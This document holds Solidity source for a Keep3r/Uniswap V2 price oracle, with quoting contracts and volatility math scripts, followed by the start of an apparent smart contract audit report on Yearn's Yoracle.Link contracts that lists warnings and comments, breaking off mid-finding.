governance (protection pattern) */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov"); governance = pendingGovernance; } IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44); address public constant factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // this is redundant with granularity and windowSize, but stored for gas savings & informational purposes. uint public constant periodSize = 1800; address[] internal _pairs; mapping(address => bool) internal _known; function pairs() external view returns (address[] memory) { return _pairs; } // mapping from pair address to a list of price observations of that pair mapping(address => Observation[]) public pairObservations; mapping(address => uint) public lastUpdated; mapping(address => Observation) public lastObservation; constructor() public { governance = msg.sender; } function updatePair(address pair) external keeper returns (bool) { return _update(pair); } function update(address tokenA, address tokenB) external keeper returns (bool) { address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); return _update(pair); } function add(address tokenA, address tokenB) external { require(msg.sender == governance, "UniswapV2Oracle::add: !gov"); address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); require(!_known[pair], "known"); _known[pair] = true; _pairs.push(pair); (uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair); lastObservation[pair] = Observation(block.timestamp, price0Cumulative, price1Cumulative, 0); pairObservations[pair].push(lastObservation[pair]); lastUpdated[pair] = block.timestamp; } function work() public upkeep { bool worked = _updateAll(); require(worked, "UniswapV2Oracle: !work"); } function workForFree() public keeper { bool worked = _updateAll(); require(worked, "UniswapV2Oracle: !work"); } function _updateAll() internal returns (bool updated) { for (uint i = 0; i < _pairs.length; i++) { if (_update(_pairs[i])) { updated = true; } } } function updateFor(uint i, uint length) external keeper returns (bool updated) { for (; i < length; i++) { if (_update(_pairs[i])) { updated = true; } } } function workable(address pair) public view returns (bool) { return (block.timestamp - lastUpdated[pair]) > periodSize; } function workable() external view returns (bool) { for (uint i = 0; i < _pairs.length; i++) { if (workable(_pairs[i])) { return true; } } return false; } function _update(address pair) internal returns (bool) { // we only want to commit updates once per period (i.e. windowSize / granularity) uint timeElapsed = block.timestamp - lastUpdated[pair]; if (timeElapsed > periodSize) { (uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair); lastObservation[pair] = Observation(block.timestamp, price0Cumulative, price1Cumulative, timeElapsed); pairObservations[pair].push(lastObservation[pair]); lastUpdated[pair] = block.timestamp; return true; } return false; } function computeAmountOut( uint priceCumulativeStart, uint priceCumulativeEnd, uint timeElapsed, uint amountIn ) private pure returns (uint amountOut) { // overflow is desired. FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112( uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed) ); amountOut = priceAverage.mul(amountIn).decode144(); } function _valid(address pair, uint age) internal view returns (bool) { return (block.timestamp - lastUpdated[pair]) <= age; } function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut) { address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut); require(_valid(pair, periodSize.mul(2)), "UniswapV2Oracle::quote: stale prices"); (address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut); Observation memory _observation = lastObservation[pair]; (uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair); if (block.timestamp == _observation.timestamp) { _observation = pairObservations[pair][pairObservations[pair].length-2]; } uint timeElapsed = block.timestamp - _observation.timestamp; timeElapsed = timeElapsed == 0 ? 1 : timeElapsed; if (token0 == tokenIn) { return computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn); } else { return computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn); } } function quote(address tokenIn, uint amountIn, address tokenOut, uint granularity) external view returns (uint amountOut) { address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut); require(_valid(pair, periodSize.mul(granularity)), "UniswapV2Oracle::quote: stale prices"); (address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut); uint priceAverageCumulative = 0; uint length = pairObservations[pair].length-1; uint i = length.sub(granularity); uint nextIndex = 0; if (token0 == tokenIn) { for (; i < length; i++) { nextIndex = i+1; priceAverageCumulative += computeAmountOut( pairObservations[pair][i].price0Cumulative, pairObservations[pair][nextIndex].price0Cumulative, pairObservations[pair][nextIndex].timeElapsed, amountIn); } } else { for (; i < length; i++) { nextIndex = i+1; priceAverageCumulative += computeAmountOut( pairObservations[pair][i].price1Cumulative, pairObservations[pair][nextIndex].price1Cumulative, pairObservations[pair][nextIndex].timeElapsed, amountIn); } } return priceAverageCumulative.div(granularity); } } pragma solidity =0.6.6; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IERC20 { function balanceOf(address owner) external view returns (uint); } interface UniswapOracleProxy { function quote(address tokenIn, address tokenOut, uint amountIn) external view returns (uint); } interface UniswapRouter { function quote(uint amountA, uint reserveA, uint reserveB) external view returns (uint amountB); } contract UniQuote { using SafeMath for uint; UniswapOracleProxy constant ORACLE = UniswapOracleProxy(0x0b5A6b318c39b60e7D8462F888e7fbA89f75D02F); UniswapRouter constant ROUTER = UniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); function getReserves(IUniswapV2Pair pair, address tokenOut) public view returns (uint, uint) { (uint _reserve0, uint _reserve1,) = pair.getReserves(); if (tokenOut == pair.token1()) { return (_reserve0, _reserve1); } else { return (_reserve1, _reserve0); } } function oracleQuoteOnly(IUniswapV2Pair pair, address tokenOut, uint amountIn) external view returns (uint) { (uint _amountIn, uint _baseOut, address _tokenIn) = calculateReturn(pair, amountIn); if (_tokenIn == tokenOut) { _tokenIn = pair.token1(); uint _temp = _amountIn; _amountIn = _baseOut; _baseOut = _temp; } return ORACLE.quote(_tokenIn, tokenOut, _amountIn); } function routerQuoteOnly(IUniswapV2Pair pair, address tokenOut, uint amountIn) external view returns (uint) { (uint _amountIn, uint _baseOut, address _tokenIn) = calculateReturn(pair, amountIn); (uint _reserveA, uint _reserveB) = getReserves(pair, tokenOut); if (_tokenIn == tokenOut) { _tokenIn = pair.token1(); uint _temp = _amountIn; _amountIn = _baseOut; _baseOut = _temp; } return ROUTER.quote(_amountIn, _reserveA, _reserveB); } function calculateReturn(IUniswapV2Pair pair, uint amountIn) public view returns (uint balanceA, uint balanceB, address tokenA) { tokenA = pair.token0(); address _tokenB = pair.token1(); balanceA = IERC20(tokenA).balanceOf(address(pair)); balanceB = IERC20(_tokenB).balanceOf(address(pair)); uint _totalSupply = pair.totalSupply(); balanceA = balanceA.mul(amountIn).div(_totalSupply); balanceB = balanceB.mul(amountIn).div(_totalSupply); } function quote(IUniswapV2Pair pair, address tokenOut, uint amountIn) external view returns (uint) { (uint _amountIn, uint _baseOut, address _tokenIn) = calculateReturn(pair, amountIn); (uint _reserveA, uint _reserveB) = getReserves(pair, tokenOut); if (_tokenIn == tokenOut) { _tokenIn = pair.token1(); uint _temp = _amountIn; _amountIn = _baseOut; _baseOut = _temp; } uint _quote1 = ORACLE.quote(_tokenIn, tokenOut, _amountIn); uint _quote2 = ROUTER.quote(_amountIn, _reserveA, _reserveB); uint _quote = Math.max(_quote1, _quote2); return _baseOut.add(_quote); } } pragma solidity ^0.5.0; pragma experimental ABIEncoderV2; import "./script.sol"; contract REPL is script { uint private constant FIXED_1 = 0x080000000000000000000000000000000; uint private constant FIXED_2 = 0x100000000000000000000000000000000; uint private constant SQRT_1 = 13043817825332782212; uint private constant LOG_10_2 = 3010299957; uint private constant BASE = 1e10; function floorLog2(uint256 _n) internal pure returns (uint8) { uint8 res = 0; if (_n < 256) { // At most 8 iterations while (_n > 1) { _n >>= 1; res += 1; } } else { // Exactly 8 iterations for (uint8 s = 128; s > 0; s >>= 1) { if (_n >= (uint(1) << s)) { _n >>= s; res |= s; } } } return res; } function generalLog(uint256 x) internal pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += uint(1) << (i - 1); } } } return res * LOG_10_2 / BASE; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } function vol(uint[] memory p) internal pure returns (uint x) { for (uint8 i = 1; i <= (p.length-1); i++) { x += ((generalLog(p[i] * FIXED_1) - generalLog(p[i-1] * FIXED_1)))**2; //denom += FIXED_1**2; } //return (sum, denom); x = sqrt(uint(252) * sqrt(x / (p.length-2))); return uint(1e18) * x / SQRT_1; } function run() public { run(this.repl).withCaller(0x9f6FdC2565CfC9ab8E184753bafc8e94C0F985a0); } function repl() external { uint[] memory points = new uint[](12); points[0] = 3365048423556510000; points[1] = 3366516801778030000; points[2] = 3373817387435220000; points[3] = 3379320958608430000; points[4] = 3382987161136880000; points[5] = 3405998172003360000; points[6] = 3406484665993710000; points[7] = 3408043106034020000; points[8] = 3408287499677610000; points[9] = 3409044636451580000; points[10] = 3412400414311440000; points[11] = 3413808337176390000; /* (uint res1) = generalLog(3365048423556510000 * FIXED_1); (uint res2) = generalLog(3366516801778030000 * FIXED_1); res1 = res1 * LOG_10_2 / BASE; res2 = res2 * LOG_10_2 / BASE; uint rt = uint((res2 - res1)**2); uint sqrtRT = sqrt(rt); uint retVol = uint(252) * sqrtRT; uint sqrtRV = sqrt(retVol); uint sqrtFIXED_1 = sqrt(FIXED_1); uint vol = uint(1e18) * sqrtRV / SQRT_1; */ uint x = vol(points); fmt.printf("x=%u\n",abi.encode(x)); } } pragma solidity ^0.5.0; pragma experimental ABIEncoderV2; import "./script.sol"; contract REPL is script { uint private constant FIXED_1 = 0x080000000000000000000000000000000; uint private constant FIXED_2 = 0x100000000000000000000000000000000; uint private constant SQRT_1 = 13043817825332782212; uint private constant LOG_E_2 = 6931471806; uint private constant LOG_10_2 = 3010299957; uint private constant BASE = 1e10; function floorLog2(uint256 _n) internal pure returns (uint8) { uint8 res = 0; if (_n < 256) { // At most 8 iterations while (_n > 1) { _n >>= 1; res += 1; } } else { // Exactly 8 iterations for (uint8 s = 128; s > 0; s >>= 1) { if (_n >= (uint(1) << s)) { _n >>= s; res |= s; } } } return res; } function generalLog(uint256 x) internal pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += uint(1) << (i - 1); } } } return res; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } function stddev(uint[] memory numbers) public pure returns (uint sd, uint mean) { uint sum = 0; for(uint i = 0; i < numbers.length; i++) { sum += numbers[i]; } mean = sum / numbers.length; // Integral value; float not supported in Solidity sum = 0; uint i; for(i = 0; i < numbers.length; i++) { sum += (numbers[i] - mean) ** 2; } sd = sqrt(sum / (numbers.length - 1)); //Integral value; float not supported in Solidity return (sd, mean); } /** * @dev computes e ^ (x / FIXED_1) * FIXED_1 * input range: 0 <= x <= OPT_EXP_MAX_VAL - 1 * auto-generated via 'PrintFunctionOptimalExp.py' * Detailed description: * - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible * - The exponentiation of each binary exponent is given (pre-calculated) * - The exponentiation of r is calculated via Taylor series for e^x, where x = r * - The exponentiation of the input is calculated by multiplying the intermediate results above * - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859 */ function optimalExp(uint256 x) internal pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3) z = (z * y) / FIXED_1; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!) z = (z * y) / FIXED_1; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!) z = (z * y) / FIXED_1; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!) z = (z * y) / FIXED_1; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!) z = (z * y) / FIXED_1; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!) z = (z * y) / FIXED_1; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!) z = (z * y) / FIXED_1; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!) z = (z * y) / FIXED_1; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!) z = (z * y) / FIXED_1; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!) z = (z * y) / FIXED_1; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!) z = (z * y) / FIXED_1; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!) z = (z * y) / FIXED_1; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!) z = (z * y) / FIXED_1; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!) z = (z * y) / FIXED_1; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!) z = (z * y) / FIXED_1; res += z * 0x000000000001c638; // add y^16 * (20! / 16!) z = (z * y) / FIXED_1; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!) z = (z * y) / FIXED_1; res += z * 0x000000000000017c; // add y^18 * (20! / 18!) z = (z * y) / FIXED_1; res += z * 0x0000000000000014; // add y^19 * (20! / 19!) z = (z * y) / FIXED_1; res += z * 0x0000000000000001; // add y^20 * (20! / 20!) res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0! if ((x & 0x010000000000000000000000000000000) != 0) res = (res * 0x1c3d6a24ed82218787d624d3e5eba95f9) / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3) if ((x & 0x020000000000000000000000000000000) != 0) res = (res * 0x18ebef9eac820ae8682b9793ac6d1e778) / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2) if ((x & 0x040000000000000000000000000000000) != 0) res = (res * 0x1368b2fc6f9609fe7aceb46aa619baed5) / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1) if ((x & 0x080000000000000000000000000000000) != 0) res = (res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0) if ((x & 0x100000000000000000000000000000000) != 0) res = (res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1) if ((x & 0x200000000000000000000000000000000) != 0) res = (res * 0x00960aadc109e7a3bf4578099615711d7) / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2) if ((x & 0x400000000000000000000000000000000) != 0) res = (res * 0x0002bf84208204f5977f9a8cf01fdc307) / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3) return res; } function ncdf(uint x) internal pure returns (uint) { int t1 = int(1e7 + (2315419 * x / FIXED_1)); uint exp = x / 2 * x / FIXED_1; int d = int(3989423 * FIXED_1 / optimalExp(uint(exp))); uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1); if( x > 0 ) prob = 1e14 - prob; return prob; } function vol(uint[] memory p) internal pure returns (uint x) { for (uint8 i = 1; i <= (p.length-1); i++) { x += ((generalLog(p[i] * FIXED_1) - generalLog(p[i-1] * FIXED_1)))**2; } x = sqrt(uint(252) * sqrt(x / (p.length-1))); return uint(1e18) * x / SQRT_1; } function run() public { run(this.repl).withCaller(0x9f6FdC2565CfC9ab8E184753bafc8e94C0F985a0); } function repl() external { uint sp = 16199; uint st = 16000; uint d1 = generalLog(FIXED_1 * sp / st) * LOG_E_2 / BASE; // ln(SP/ST) uint cdf = ncdf(d1); fmt.printf("d1=%u\n",abi.encode(d1)); fmt.printf("cdf=%d\n",abi.encode(cdf)); fmt.printf("FIXED_1=%u\n",abi.encode(FIXED_1)); } }
December 28, 2020YEARN FINANCE YORACLE.LINK SMART CONTRACT AUDIT yearn.financeCONTENTS 1.INTRODUCTION...................................................................1 DISCLAIMER....................................................................1 PROJECT OVERVIEW..............................................................1 SECURITY ASSESSMENT METHODOLOGY...............................................2 EXECUTIVE SUMMARY.............................................................4 PROJECT DASHBOARD.............................................................4 2.FINDINGS REPORT................................................................6 2.1.CRITICAL..................................................................6 2.2.MAJOR.....................................................................6 2.3.WARNING...................................................................6 WRN-1 Safe math library isn't used..........................................6 WRN-2 The number of loop iterations should be limited.......................7 WRN-3 Possible incorrect operation of the function..........................8 WRN-4 It is possible to go beyond the boundaries of the array...............9 WRN-5 There is no check of the ether balance on the contract before it is transferred................................................................10 WRN-6 Function calculation result is not processed.........................11 WRN-7 Potential Out of range error..........................................12 WRN-8 Contract cannot be compiled..........................................13 2.4.COMMENTS.................................................................14 CMT-1 We recommend changing the scope of functions.........................14 CMT-2 We recommend moving the functions to a separate library..............15 CMT-3 Duplicate code.......................................................16 CMT-4 We recommend removing additional functionality from the access modifier...................................................................17 CMT-5 We recommend caching the variable....................................18 CMT-6 Mixed formatting.....................................................19 CMT-7 Potential Out of range error..........................................20 CMT-8 Lack of event........................................................21 3.ABOUT MIXBYTES................................................................22 1.INTRODUCTION 1.1DISCLAIMER The audit makes no statements or warranties about utility of the code, safety of the code, suitability of the business model, investment advice, endorsement of the platform or its products, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. The audit documentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of Yearn Finance (name of Client). If you are not the intended recipient(s) of this document, please note that any disclosure, copying or dissemination of its content is strictly forbidden. 1.2PROJECT OVERVIEW Yearn Finance is a decentralized investment aggregator that leverages composability and uses automated strategies to earn high yield on crypto assets. 11.3SECURITY ASSESSMENT METHODOLOGY At least 2 auditors are involved in the work on the audit who check the provided source code independently of each other in accordance with the methodology described below: 01"Blind" audit includes: >Manual code study >"Reverse" research and study of the architecture of the code based on the source code only Stage goal: Building an independent view of the project's architecture Finding logical flaws 02Checking the code against the checklist of known vulnerabilities includes: >Manual code check for vulnerabilities from the company's internal checklist >The company's checklist is constantly updated based on the analysis of hacks, research and audit of the clients' code Stage goal: Eliminate typical vulnerabilities (e.g. reentrancy, gas limit, flashloan attacks, etc.) 03Checking the logic, architecture of the security model for compliance with the desired model, which includes: >Detailed study of the project documentation >Examining contracts tests >Examining comments in code >Comparison of the desired model obtained during the study with the reversed view obtained during the blind audit Stage goal: Detection of inconsistencies with the desired model 04Consolidation of the reports from all auditors into one common interim report document >Cross check: each auditor reviews the reports of the others >Discussion of the found issues by the auditors >Formation of a general (merged) report Stage goal: Re-check all the problems for relevance and correctness of the threat level Provide the client with an interim report 05Bug fixing & re-check. >Client fixes or comments on every issue >Upon completion of the bug fixing, the auditors double-check each fix and set the statuses with a link to the fix Stage goal: Preparation of the final code version with all the fixes 06Preparation of the final audit report and delivery to the customer. 2Findings discovered during the audit are classified as follows: FINDINGS SEVERITY BREAKDOWN Level Description Required action CriticalBugs leading to assets theft, fund access locking, or any other loss funds to be transferred to any partyImmediate action to fix issue Major Bugs that can trigger a contract failure. Further recovery is possible only by manual modification of the contract state or replacement.Implement fix as soon as possible WarningBugs that can break the intended contract logic or expose it to DoS attacksTake into consideration and implement fix in certain period CommentOther issues and recommendations reported to/acknowledged by the teamTake into consideration Based on the feedback received from the Customer's team regarding the list of findings discovered by the Contractor, they are assigned the following statuses: Status Description Fixed Recommended fixes have been made to the project code and no longer affect its security. AcknowledgedThe project team is aware of this finding. Recommendations for this finding are planned to be resolved in the future. This finding does not affect the overall safety of the project. No issue Finding does not affect the overall safety of the project and does not violate the logic of its work. 31.4EXECUTIVE SUMMARY The volume checked includes 2 smart contracts that are part of the oracle on-chain mechanism for UniswapV2 pairs. The project also uses other smart contracts. But the smart contracts we tested are among the main ones. 1.5PROJECT DASHBOARD Client Yearn Finance Audit name Yoracle.Link Initial version faf1309cbe7a05f70b338351315039eb8e5b9c09 Final version 22a438fcce04ea08be383e1a3e757b49af765ed4 SLOC 702 Date 2020-11-19 - 2020-12-28 Auditors engaged 2 auditors FILES LISTING Keep3rV1Oracle.sol Keep3rV1Oracle.sol Keep3rV1Volatility.sol Keep3rV1Volatility.sol FINDINGS SUMMARY Level Amount Critical 0 Major 0 Warning 8 Comment 8 4CONCLUSION Smart contracts were audited and several suspicious places were spotted. During the audit no critical and major issues were found, eight issues were marked as warnings and eight comments were found and discussed with the client. After working on the reported findings all of them were resolved or acknowledged. So, the contracts are assumed as secure to use according to our security criteria. 52.FINDINGS REPORT 2.1CRITICAL Not Found 2.2MAJOR Not Found 2.3WARNING WRN-1 Safe math library isn't used File Keep3rV1Oracle.sol Keep3rV1Volatility.sol SeverityWarning Status Acknowledged DESCRIPTION At the lines 101, 108, 116, 151, 154, 156, 377, 387, 396, 621, 627, 641, 664, 667, 672, 675, 691, 696, 697, 701, 705, 706, 710, 770, 772 , 776, 778, 796 in Keep3rV1Oracle.sol and at the lines 33, 40, 53, 55, 61, 64, 69, 90, 92, 94, 96, 98, 100, 102, 104, 106, 108, 110, 112, 114, 116, 118, 120, 122, 124 , 126, 128, 131, 133, 135, 137, 139, 141, 143, 189, 196, 209, 211, 217, 220, 225, 246-284, 287, 289, 291, 293, 295, 297, 299 , 320, 323, 330-346, 350-354, 363, 365, 371, 374, 379, 393- 398, 435, 438, 445, 450-461, 465-469, 478, 480, 486, 489, 494 , 508-513 in Keep3rV1Volatility.sol if you do not use a library for safe math, then an arithmetic overflow may occur, which will lead to incorrect operation of smart contracts. RECOMMENDATION All arithmetic operations need to be redone using the safe math library. Moreover, this library is already in the contracts Keep3rV1Oracle.sol#L176. 6WRN-2 The number of loop iterations should be limited File Keep3rV1Oracle.sol SeverityWarning Status Acknowledged DESCRIPTION In Keep3rV1Oracle.sol there are internal arrays _pairs for addresses and an observations map for structures Observation[] . The number of elements of these arrays in the logic of smart contracts only increases, but there is no functionality to decrease. Theoretically, the number of their elements can be very large, since it is not limited anywhere in the program. In loops, the number of elements of this array is used as the upper bound on the number of iterations. Any iteration in the loop uses gas. But the amount of gas in one block is limited. It means that a situation may arise when there is not enough gas to perform all the iterations of the cycle and the function will stop working. There are such loops here: line 575, 595, 662, 670, 696, 705, RECOMMENDATION It is necessary in loops to introduce a limit on the number of iterations or on the possible number of array elements in loops. 7WRN-3 Possible incorrect operation of the function File Keep3rV1Oracle.sol SeverityWarning Status Acknowledged DESCRIPTION At the line Keep3rV1Oracle.sol#L626 the result of the _valid function depends on the value of block.timestamp . But the block.timestamp value is set by the miner. This may result in an incorrect result. According to the specification Block-Protocol- 2.0.md, the miner can shift block.timestamp up to 900 seconds. If the range is greater, then you are safe. RECOMMENDATION We recommend adding a restriction on the value of variable age . For the same reason, we do not recommend setting the value of the periodSize constant less than 900. 8WRN-4 It is possible to go beyond the boundaries of the array File Keep3rV1Oracle.sol SeverityWarning Status Acknowledged DESCRIPTION At the line Keep3rV1Oracle.sol#L685 the sample function does not check for a valid observations[pair] array element number. On lines 700, 701, 709, 710 there is a call to the array element with the nextIndex index. But there is nowhere a check that the nextIndex value is less than and equal to the value of the variable length . RECOMMENDATION We recommend to add such a check. 9WRN-5 There is no check of the ether balance on the contract before it is transferred File Keep3rV1Oracle.sol SeverityWarning Status Acknowledged DESCRIPTION At the line Keep3rV1Oracle.sol#L479 before transferring ether from the contract, you need to check that its amount is greater than 0. RECOMMENDATION Add checking the ether balance on the contract before transferring it. 1 0WRN-6 Function calculation result is not processed File Keep3rV1Oracle.sol SeverityWarning Status Acknowledged DESCRIPTION Below there will be a case when the code does not process the result of calling approve . Keep3rV1Oracle.sol#L819 approve method may return false . RECOMMENDATION Check the return value of the function. 1 1WRN-7 Potential Out of range error File Keep3rV1Oracle.sol SeverityWarning Status Acknowledged DESCRIPTION Code line Keep3rV1Oracle.sol#L638 may return an exception because observations[pair] cannot guarantee the length more than 1. RECOMMENDATION It is recommended to check it. 1 2WRN-8 Contract cannot be compiled File Keep3rV1Volatility.sol SeverityWarning Status Acknowledged DESCRIPTION The contact Keep3rV1Volatility.sol has the following syntax errors: Keep3rV1Volatility.sol#L157 Keep3rV1Volatility.sol#L428 RECOMMENDATION It is recommended to fix the errors above. 1 32.4COMMENTS CMT-1 We recommend changing the scope of functions File Keep3rV1Oracle.sol SeverityComment Status Acknowledged DESCRIPTION Changing the scope of functions will allow making transactions with a lower cost of gas. RECOMMENDATION Keep3rV1Oracle.sol On line 560, the work function can be changed from public to external . On line 565, the workForFree function can be changed from public to external . On line 574, function _updateAll can be changed from internal to private . On line 603, the _update function can be changed from internal to private . On line 626, the _valid function can be scoped from "internal to private . On line 807, function retBasedBlackScholesEstimate can be changed from public to external . On line 818, the _swap function can be changed from internal to private . Keep3rV1Volatility.sol On line 26, the floorLog2 function can be changed from internal to private . On line 48, the ln function can be changed from internal to private . On line 83, for the optimalExp function, the scope can be changed from internal to private . These steps will save you some gas cost for transactions. 1 4CMT-2 We recommend moving the functions to a separate library File Keep3rV1Oracle.sol Keep3rV1Volatility.sol SeverityComment Status Acknowledged DESCRIPTION In smart contract Keep3rV1Oracle.sol#L751 there is the sqrt function and in smart contracts Keep3rV1Volatility.sol#L382 and Keep3rV1Volatility.sol#L497 this function is again described. RECOMMENDATION We recommend that you describe it once in the library file. We also recommend transferring the following functions to this library: floorLog2 located here Keep3rV1Volatility.sol#L182 ln located here Keep3rV1Volatility.sol#L204 optimalExp located here Keep3rV1Volatility.sol#L239 C located here Keep3rV1Volatility.sol#L328 The C function can be named more meaningfully and clearly. It is possible that you can take other functions. But the main thing is that the mathematical functions are located in a separate library. Then the source code will be easier to test and understand. 1 5CMT-3 Duplicate code File Keep3rV1Volatility.sol Keep3rV1Oracle.sol SeverityComment Status Acknowledged DESCRIPTION The quote function is completely repeated here Keep3rV1Volatility.sol#L148 and here Keep3rV1Volatility.sol#L304 It needs to be described only once. The IERC20 interface is completely repeated here Keep3rV1Volatility.sol#L10 and here Keep3rV1Volatility.sol#L166 It needs to be described only once. Keep3rV1Oracle.sol#L486 On lines 486, 495, 560 the code is repeated: require (msg.sender == governance," setGovernance:! Gov "); It is necessary to transfer this code to a separate access modifier. Keep3rV1Oracle.sol#L468 On lines 468 and 474 the code is repeated: require (KP3R.isMinKeeper (msg.sender, minKeep, 0, 0)," :: isKeeper: 